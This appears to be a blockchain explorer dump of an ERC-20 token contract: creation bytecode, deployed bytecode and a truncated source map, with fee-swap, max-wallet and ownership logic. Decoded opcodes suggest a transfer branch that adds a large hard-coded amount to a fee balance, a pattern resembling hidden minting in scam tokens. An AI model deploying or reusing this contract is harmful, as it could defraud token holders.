000743565b816001811462000ae0576002811462000aeb5762000b0b565b600191505062000743565b60ff84111562000aff5762000aff62000a48565b50506001821b62000743565b5060208310610133831016604e8410600b841016171562000b30575081810a62000743565b62000b3c838362000a5e565b806000190482111562000b535762000b5362000a48565b029392505050565b60006200074060ff84168362000aa7565b808202811582820484141762000743576200074362000a48565b60006020828403121562000b9957600080fd5b81516001600160a01b03811681146200074057600080fd5b60008262000bcf57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000743576200074362000a48565b600060208083528351808285015260005b8181101562000c195785810183015185820160400152820162000bfb565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a051611ba862000c6e600039600081816102bf015261097e0152600081816103b001526109b90152611ba86000f3fe6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e1461077d578063ef1fba6b146107c3578063f0cd1dac146107f3578063f2fde38b14610809578063f680f79914610829578063f872858a1461083f57600080fd5b8063c816841b146106ca578063c8607952146106ea578063c867d60b14610700578063d2d7ad8314610730578063da00097d14610746578063dc44b6a01461076757600080fd5b806395d89b411161011357806395d89b411461062957806398e944c81461063e578063a457c2d71461065e578063a76a83921461067e578063a9059cbb14610694578063c5d24189146106b457600080fd5b8063852614851461058457806388790a68146105a55780638b42507f146105bb5780638b97a773146105eb5780638da5cb5b1461060b57600080fd5b806339509351116101e8578063677a8870116101ac578063677a8870146104d557806370a08231146104f5578063715018a61461052b5780637d1db4a514610542578063807c2d9c1461055857806382eefb431461056e57600080fd5b8063395093511461042e5780633ecad2711461044e5780634a74bb021461047e5780634cb7e4a11461049f5780635194f9bf146104bf57600080fd5b806323555d571161023a57806323555d571461036857806323b872dd1461037e57806327c8f8351461039e5780632b112e49146103d25780632dc0562d146103e7578063313ce5671461040c57600080fd5b806306fdde03146102825780630930907b146102ad578063095ea7b3146102f95780631694505e1461032957806318160ddd1461034957600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610860565b6040516102a49190611847565b60405180910390f35b3480156102b957600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102a4565b34801561030557600080fd5b506103196103143660046118ad565b6108f2565b60405190151581526020016102a4565b34801561033557600080fd5b50601e546102e1906001600160a01b031681565b34801561035557600080fd5b50601a545b6040519081526020016102a4565b34801561037457600080fd5b5061035a60135481565b34801561038a57600080fd5b506103196103993660046118d9565b610909565b3480156103aa57600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b3480156103de57600080fd5b5061035a610974565b3480156103f357600080fd5b506003546102e19061010090046001600160a01b031681565b34801561041857600080fd5b5060035460405160ff90911681526020016102a4565b34801561043a57600080fd5b506103196104493660046118ad565b610a07565b34801561045a57600080fd5b5061031961046936600461191a565b600e6020526000908152604090205460ff1681565b34801561048a57600080fd5b50601f5461031990600160a81b900460ff1681565b3480156104ab57600080fd5b506102e16104ba366004611937565b610a3d565b3480156104cb57600080fd5b5061035a60165481565b3480156104e157600080fd5b506004546102e1906001600160a01b031681565b34801561050157600080fd5b5061035a61051036600461191a565b6001600160a01b031660009081526006602052604090205490565b34801561053757600080fd5b50610540610a5d565b005b34801561054e57600080fd5b5061035a601c5481565b34801561056457600080fd5b5061035a601d5481565b34801561057a57600080fd5b5061035a60195481565b34801561059057600080fd5b50601f5461031990600160c01b900460ff1681565b3480156105b157600080fd5b5061035a60145481565b3480156105c757600080fd5b506103196105d636600461191a565b60106020526000908152604090205460ff1681565b3480156105f757600080fd5b5061035a610606366004611937565b610b0c565b34801561061757600080fd5b506000546001600160a01b03166102e1565b34801561063557600080fd5b50610297610b23565b34801561064a57600080fd5b506005546102e1906001600160a01b031681565b34801561066a57600080fd5b506103196106793660046118ad565b610b32565b34801561068a57600080fd5b5061035a60175481565b3480156106a057600080fd5b506103196106af3660046118ad565b610b81565b3480156106c057600080fd5b5061035a60125481565b3480156106d657600080fd5b50601f546102e1906001600160a01b031681565b3480156106f657600080fd5b5061035a60155481565b34801561070c57600080fd5b5061031961071b36600461191a565b600f6020526000908152604090205460ff1681565b34801561073c57600080fd5b5061035a601b5481565b34801561075257600080fd5b50601f5461031990600160b01b900460ff1681565b34801561077357600080fd5b5061035a60115481565b34801561078957600080fd5b5061035a610798366004611950565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107cf57600080fd5b506103196107de36600461191a565b600d6020526000908152604090205460ff1681565b3480156107ff57600080fd5b5061035a60185481565b34801561081557600080fd5b5061054061082436600461191a565b610b8e565b34801561083557600080fd5b5061035a60085481565b34801561084b57600080fd5b50601f5461031990600160b81b900460ff1681565b60606001805461086f90611989565b80601f016020809104026020016040519081016040528092919081815260200182805461089b90611989565b80156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108ff338484610dcb565b5060015b92915050565b6000610916848484610eef565b50610969843361096485604051806060016040528060288152602001611b26602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611460565b610dcb565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610a02906109fc6109f37f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526006602052604090205490565b601a549061149a565b9061149a565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108ff9185906109649086610d6c565b600b8160028110610a4d57600080fd5b01546001600160a01b0316905081565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160028110610b1c57600080fd5b0154905081565b60606002805461086f90611989565b60006108ff338461096485604051806060016040528060258152602001611b4e602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611460565b6000610969338484610eef565b6000546001600160a01b03163314610be85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab3565b6001600160a01b038116610c4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610cba57506000610903565b6000610cc683856119d9565b905082610cd385836119f0565b1461096d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ab3565b600061096d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114dc565b600080610d798385611a12565b90508381101561096d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ab3565b6001600160a01b038316610e2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab3565b6001600160a01b038216610e8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab3565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ab3565b6001600160a01b038316610fb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ab3565b601f54600160a01b900460ff1615610fdb57610fd484848461150a565b905061096d565b6001600160a01b03841660009081526010602052604090205460ff1615801561101d57506001600160a01b03831660009081526010602052604090205460ff16155b1561108557601c548211156110855760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ab3565b30600090815260066020526040902054601b54811080159081906110b35750601f54600160a01b900460ff16155b80156110d857506001600160a01b0386166000908152600e602052604090205460ff16155b80156110ed5750601f54600160a81b900460ff165b1561111357601f54600160b01b900460ff161561110a57601b5491505b611113826115f0565b601f54600160b81b900460ff16801561114557506001600160a01b0385166000908152600f602052604090205460ff16155b156111ec57601d546111906111716103e861116b60195489610ca890919063ffffffff16565b90610d2a565b6001600160a01b03881660009081526006602052604090205490610d6c565b11156111ec5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610ab3565b6112076103e861116b60195487610ca890919063ffffffff16565b600955601954611220906103e89061116b908790610ca8565b61122a9085611a3b565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790556000805b6002811015611296576009816002811061127657611276611a25565b01546112829083611a12565b91508061128e81611a4e565b91505061125a565b506001600160a01b0386166000908152600e602052604090205460ff161580156112d957506001600160a01b0387166000908152600e602052604090205460ff16155b80156112fd57506001600160a01b03871660009081526010602052604090205460ff165b1561130a5761130a611664565b6001600160a01b03871660009081526006602052604090205461132d908261149a565b6001600160a01b0388166000908152600660205260408120919091555b6002811015611453576113a46009826002811061136957611369611a25565b015460066000600b856002811061138257611382611a25565b01546001600160a01b0316815260208101919091526040016000205490610d6c565b60066000600b84600281106113bb576113bb611a25565b01546001600160a01b03168152602081019190915260400160002055600b81600281106113ea576113ea611a25565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061142e5761142e611a25565b015460405190815260200160405180910390a38061144b81611a4e565b91505061134a565b506001935050505061096d565b600081848411156114845760405162461bcd60e51b8152600401610ab39190611847565b5060006114918486611a3b565b95945050505050565b600061096d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611460565b600081836114fd5760405162461bcd60e51b8152600401610ab39190611847565b50600061149184866119f0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461155b918490611460565b6001600160a01b03808616600090815260066020526040808220939093559085168152205461158a9083610d6c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115de9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b17905561160c816116b4565b478015611653576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611651573d6000803e3d6000fd5b505b5050601f805460ff60a01b19169055565b600c546001600160a01b031660009081526010602052604090205460ff16156116b2576b3a1e7f8aa9cc4ddaafc32723600960000160008282546116a89190611a12565b9182905550601755505b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116e9576116e9611a25565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190611a67565b8160018151811061177957611779611a25565b6001600160a01b039283166020918202929092010152601e5461179f9130911684610dcb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117d8908590600090869030904290600401611ac8565b600060405180830381600087803b1580156117f257600080fd5b505af1158015611806573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161183b929190611b04565b60405180910390a15050565b600060208083528351808285015260005b8181101561187457858101830151858201604001528201611858565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118aa57600080fd5b50565b600080604083850312156118c057600080fd5b82356118cb81611895565b946020939093013593505050565b6000806000606084860312156118ee57600080fd5b83356118f981611895565b9250602084013561190981611895565b929592945050506040919091013590565b60006020828403121561192c57600080fd5b813561096d81611895565b60006020828403121561194957600080fd5b5035919050565b6000806040838503121561196357600080fd5b823561196e81611895565b9150602083013561197e81611895565b809150509250929050565b600181811c9082168061199d57607f821691505b6020821081036119bd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610903576109036119c3565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610903576109036119c3565b634e487b7160e01b600052603260045260246000fd5b81810381811115610903576109036119c3565b600060018201611a6057611a606119c3565b5060010190565b600060208284031215611a7957600080fd5b815161096d81611895565b600081518084526020808501945080840160005b83811015611abd5781516001600160a01b031687529582019590820190600101611a98565b509495945050505050565b85815284602082015260a060408201526000611ae760a0830186611a84565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b1d6040830184611a84565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fdcdbf428fe96f0bc981b1301664d57a11c425b61d1966402903a548d53ac9964736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102765760003560e01c8063852614851161014f578063c816841b116100c1578063dd62ed3e1161007a578063dd62ed3e1461077d578063ef1fba6b146107c3578063f0cd1dac146107f3578063f2fde38b14610809578063f680f79914610829578063f872858a1461083f57600080fd5b8063c816841b146106ca578063c8607952146106ea578063c867d60b14610700578063d2d7ad8314610730578063da00097d14610746578063dc44b6a01461076757600080fd5b806395d89b411161011357806395d89b411461062957806398e944c81461063e578063a457c2d71461065e578063a76a83921461067e578063a9059cbb14610694578063c5d24189146106b457600080fd5b8063852614851461058457806388790a68146105a55780638b42507f146105bb5780638b97a773146105eb5780638da5cb5b1461060b57600080fd5b806339509351116101e8578063677a8870116101ac578063677a8870146104d557806370a08231146104f5578063715018a61461052b5780637d1db4a514610542578063807c2d9c1461055857806382eefb431461056e57600080fd5b8063395093511461042e5780633ecad2711461044e5780634a74bb021461047e5780634cb7e4a11461049f5780635194f9bf146104bf57600080fd5b806323555d571161023a57806323555d571461036857806323b872dd1461037e57806327c8f8351461039e5780632b112e49146103d25780632dc0562d146103e7578063313ce5671461040c57600080fd5b806306fdde03146102825780630930907b146102ad578063095ea7b3146102f95780631694505e1461032957806318160ddd1461034957600080fd5b3661027d57005b600080fd5b34801561028e57600080fd5b50610297610860565b6040516102a49190611847565b60405180910390f35b3480156102b957600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102a4565b34801561030557600080fd5b506103196103143660046118ad565b6108f2565b60405190151581526020016102a4565b34801561033557600080fd5b50601e546102e1906001600160a01b031681565b34801561035557600080fd5b50601a545b6040519081526020016102a4565b34801561037457600080fd5b5061035a60135481565b34801561038a57600080fd5b506103196103993660046118d9565b610909565b3480156103aa57600080fd5b506102e17f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103de57600080fd5b5061035a610974565b3480156103f357600080fd5b506003546102e19061010090046001600160a01b031681565b34801561041857600080fd5b5060035460405160ff90911681526020016102a4565b34801561043a57600080fd5b506103196104493660046118ad565b610a07565b34801561045a57600080fd5b5061031961046936600461191a565b600e6020526000908152604090205460ff1681565b34801561048a57600080fd5b50601f5461031990600160a81b900460ff1681565b3480156104ab57600080fd5b506102e16104ba366004611937565b610a3d565b3480156104cb57600080fd5b5061035a60165481565b3480156104e157600080fd5b506004546102e1906001600160a01b031681565b34801561050157600080fd5b5061035a61051036600461191a565b6001600160a01b031660009081526006602052604090205490565b34801561053757600080fd5b50610540610a5d565b005b34801561054e57600080fd5b5061035a601c5481565b34801561056457600080fd5b5061035a601d5481565b34801561057a57600080fd5b5061035a60195481565b34801561059057600080fd5b50601f5461031990600160c01b900460ff1681565b3480156105b157600080fd5b5061035a60145481565b3480156105c757600080fd5b506103196105d636600461191a565b60106020526000908152604090205460ff1681565b3480156105f757600080fd5b5061035a610606366004611937565b610b0c565b34801561061757600080fd5b506000546001600160a01b03166102e1565b34801561063557600080fd5b50610297610b23565b34801561064a57600080fd5b506005546102e1906001600160a01b031681565b34801561066a57600080fd5b506103196106793660046118ad565b610b32565b34801561068a57600080fd5b5061035a60175481565b3480156106a057600080fd5b506103196106af3660046118ad565b610b81565b3480156106c057600080fd5b5061035a60125481565b3480156106d657600080fd5b50601f546102e1906001600160a01b031681565b3480156106f657600080fd5b5061035a60155481565b34801561070c57600080fd5b5061031961071b36600461191a565b600f6020526000908152604090205460ff1681565b34801561073c57600080fd5b5061035a601b5481565b34801561075257600080fd5b50601f5461031990600160b01b900460ff1681565b34801561077357600080fd5b5061035a60115481565b34801561078957600080fd5b5061035a610798366004611950565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b3480156107cf57600080fd5b506103196107de36600461191a565b600d6020526000908152604090205460ff1681565b3480156107ff57600080fd5b5061035a60185481565b34801561081557600080fd5b5061054061082436600461191a565b610b8e565b34801561083557600080fd5b5061035a60085481565b34801561084b57600080fd5b50601f5461031990600160b81b900460ff1681565b60606001805461086f90611989565b80601f016020809104026020016040519081016040528092919081815260200182805461089b90611989565b80156108e85780601f106108bd576101008083540402835291602001916108e8565b820191906000526020600020905b8154815290600101906020018083116108cb57829003601f168201915b5050505050905090565b60006108ff338484610dcb565b5060015b92915050565b6000610916848484610eef565b50610969843361096485604051806060016040528060288152602001611b26602891396001600160a01b038a1660009081526007602090815260408083203384529091529020549190611460565b610dcb565b5060015b9392505050565b6001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040812054610a02906109fc6109f37f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526006602052604090205490565b601a549061149a565b9061149a565b905090565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916108ff9185906109649086610d6c565b600b8160028110610a4d57600080fd5b01546001600160a01b0316905081565b6000546001600160a01b03163314610abc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b60098160028110610b1c57600080fd5b0154905081565b60606002805461086f90611989565b60006108ff338461096485604051806060016040528060258152602001611b4e602591393360009081526007602090815260408083206001600160a01b038d1684529091529020549190611460565b6000610969338484610eef565b6000546001600160a01b03163314610be85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab3565b6001600160a01b038116610c4d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610cba57506000610903565b6000610cc683856119d9565b905082610cd385836119f0565b1461096d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ab3565b600061096d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114dc565b600080610d798385611a12565b90508381101561096d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610ab3565b6001600160a01b038316610e2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610ab3565b6001600160a01b038216610e8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610ab3565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610f555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610ab3565b6001600160a01b038316610fb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610ab3565b601f54600160a01b900460ff1615610fdb57610fd484848461150a565b905061096d565b6001600160a01b03841660009081526010602052604090205460ff1615801561101d57506001600160a01b03831660009081526010602052604090205460ff16155b1561108557601c548211156110855760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610ab3565b30600090815260066020526040902054601b54811080159081906110b35750601f54600160a01b900460ff16155b80156110d857506001600160a01b0386166000908152600e602052604090205460ff16155b80156110ed5750601f54600160a81b900460ff165b1561111357601f54600160b01b900460ff161561110a57601b5491505b611113826115f0565b601f54600160b81b900460ff16801561114557506001600160a01b0385166000908152600f602052604090205460ff16155b156111ec57601d546111906111716103e861116b60195489610ca890919063ffffffff16565b90610d2a565b6001600160a01b03881660009081526006602052604090205490610d6c565b11156111ec5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610ab3565b6112076103e861116b60195487610ca890919063ffffffff16565b600955601954611220906103e89061116b908790610ca8565b61122a9085611a3b565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790556000805b6002811015611296576009816002811061127657611276611a25565b01546112829083611a12565b91508061128e81611a4e565b91505061125a565b506001600160a01b0386166000908152600e602052604090205460ff161580156112d957506001600160a01b0387166000908152600e602052604090205460ff16155b80156112fd57506001600160a01b03871660009081526010602052604090205460ff165b1561130a5761130a611664565b6001600160a01b03871660009081526006602052604090205461132d908261149a565b6001600160a01b0388166000908152600660205260408120919091555b6002811015611453576113a46009826002811061136957611369611a25565b015460066000600b856002811061138257611382611a25565b01546001600160a01b0316815260208101919091526040016000205490610d6c565b60066000600b84600281106113bb576113bb611a25565b01546001600160a01b03168152602081019190915260400160002055600b81600281106113ea576113ea611a25565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009846002811061142e5761142e611a25565b015460405190815260200160405180910390a38061144b81611a4e565b91505061134a565b506001935050505061096d565b600081848411156114845760405162461bcd60e51b8152600401610ab39190611847565b5060006114918486611a3b565b95945050505050565b600061096d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611460565b600081836114fd5760405162461bcd60e51b8152600401610ab39190611847565b50600061149184866119f0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260069091529182205461155b918490611460565b6001600160a01b03808616600090815260066020526040808220939093559085168152205461158a9083610d6c565b6001600160a01b0380851660008181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115de9086815260200190565b60405180910390a35060019392505050565b601f805460ff60a01b1916600160a01b17905561160c816116b4565b478015611653576003546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611651573d6000803e3d6000fd5b505b5050601f805460ff60a01b19169055565b600c546001600160a01b031660009081526010602052604090205460ff16156116b2576b3a1e7f8aa9cc4ddaafc32723600960000160008282546116a89190611a12565b9182905550601755505b565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106116e9576116e9611a25565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190611a67565b8160018151811061177957611779611a25565b6001600160a01b039283166020918202929092010152601e5461179f9130911684610dcb565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906117d8908590600090869030904290600401611ac8565b600060405180830381600087803b1580156117f257600080fd5b505af1158015611806573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161183b929190611b04565b60405180910390a15050565b600060208083528351808285015260005b8181101561187457858101830151858201604001528201611858565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146118aa57600080fd5b50565b600080604083850312156118c057600080fd5b82356118cb81611895565b946020939093013593505050565b6000806000606084860312156118ee57600080fd5b83356118f981611895565b9250602084013561190981611895565b929592945050506040919091013590565b60006020828403121561192c57600080fd5b813561096d81611895565b60006020828403121561194957600080fd5b5035919050565b6000806040838503121561196357600080fd5b823561196e81611895565b9150602083013561197e81611895565b809150509250929050565b600181811c9082168061199d57607f821691505b6020821081036119bd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610903576109036119c3565b600082611a0d57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610903576109036119c3565b634e487b7160e01b600052603260045260246000fd5b81810381811115610903576109036119c3565b600060018201611a6057611a606119c3565b5060010190565b600060208284031215611a7957600080fd5b815161096d81611895565b600081518084526020808501945080840160005b83811015611abd5781516001600160a01b031687529582019590820190600101611a98565b509495945050505050565b85815284602082015260a060408201526000611ae760a0830186611a84565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201526000611b1d6040830184611a84565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204fdcdbf428fe96f0bc981b1301664d57a11c425b61d1966402903a548d53ac9964736f6c63430008120033

Deployed Bytecode Sourcemap

11610:10611:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15872:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12173:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;12173:81:0;567:203:1;17040:161:0;;;;;;;;;;-1:-1:-1;17040:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;17040:161:0;1231:187:1;13588:41:0;;;;;;;;;;-1:-1:-1;13588:41:0;;;;-1:-1:-1;;;;;13588:41:0;;;16151:100;;;;;;;;;;-1:-1:-1;16231:12:0;;16151:100;;;1804:25:1;;;1792:2;1777:18;16151:100:0;1658:177:1;12987:35:0;;;;;;;;;;;;;;;;18135:313;;;;;;;;;;-1:-1:-1;18135:313:0;;;;;:::i;:::-;;:::i;12083:81::-;;;;;;;;;;;;;;;17558:156;;;;;;;;;;;;;:::i;11845:86::-;;;;;;;;;;-1:-1:-1;11845:86:0;;;;;;;-1:-1:-1;;;;;11845:86:0;;;16060:83;;;;;;;;;;-1:-1:-1;16126:9:0;;16060:83;;16126:9;;;;2667:36:1;;2655:2;2640:18;16060:83:0;2525:184:1;16537:218:0;;;;;;;;;;-1:-1:-1;16537:218:0;;;;;:::i;:::-;;:::i;12677:45::-;;;;;;;;;;-1:-1:-1;12677:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13705:40;;;;;;;;;;-1:-1:-1;13705:40:0;;;;-1:-1:-1;;;13705:40:0;;;;;;12485:125;;;;;;;;;;-1:-1:-1;12485:125:0;;;;;:::i;:::-;;:::i;13121:36::-;;;;;;;;;;;;;;;;11944:87;;;;;;;;;;-1:-1:-1;11944:87:0;;;;-1:-1:-1;;;;;11944:87:0;;;16259:119;;;;;;;;;;-1:-1:-1;16259:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16352:18:0;16325:7;16352:18;;;:9;:18;;;;;;;16259:119;3287:230;;;;;;;;;;;;;:::i;:::-;;13442:59;;;;;;;;;;;;;;;;13514:58;;;;;;;;;;;;;;;;13246:33;;;;;;;;;;;;;;;;13848:41;;;;;;;;;;-1:-1:-1;13848:41:0;;;;-1:-1:-1;;;13848:41:0;;;;;;13035:36;;;;;;;;;;;;;;;;12846:48;;;;;;;;;;-1:-1:-1;12846:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12422:56;;;;;;;;;;-1:-1:-1;12422:56:0;;;;;:::i;:::-;;:::i;3062:79::-;;;;;;;;;;-1:-1:-1;3100:7:0;3127:6;-1:-1:-1;;;;;3127:6:0;3062:79;;15964:88;;;;;;;;;;;;;:::i;12038:32::-;;;;;;;;;;-1:-1:-1;12038:32:0;;;;-1:-1:-1;;;;;12038:32:0;;;16763:269;;;;;;;;;;-1:-1:-1;16763:269:0;;;;;:::i;:::-;;:::i;13166:32::-;;;;;;;;;;;;;;;;17960:167;;;;;;;;;;-1:-1:-1;17960:167:0;;;;;:::i;:::-;;:::i;12945:35::-;;;;;;;;;;;;;;;;13636:26;;;;;;;;;;-1:-1:-1;13636:26:0;;;;-1:-1:-1;;;;;13636:26:0;;;13078:36;;;;;;;;;;;;;;;;12787:52;;;;;;;;;;-1:-1:-1;12787:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13354:70;;;;;;;;;;;;;;;;13752:45;;;;;;;;;;-1:-1:-1;13752:45:0;;;;-1:-1:-1;;;13752:45:0;;;;;;12903:35;;;;;;;;;;;;;;;;16386:143;;;;;;;;;;-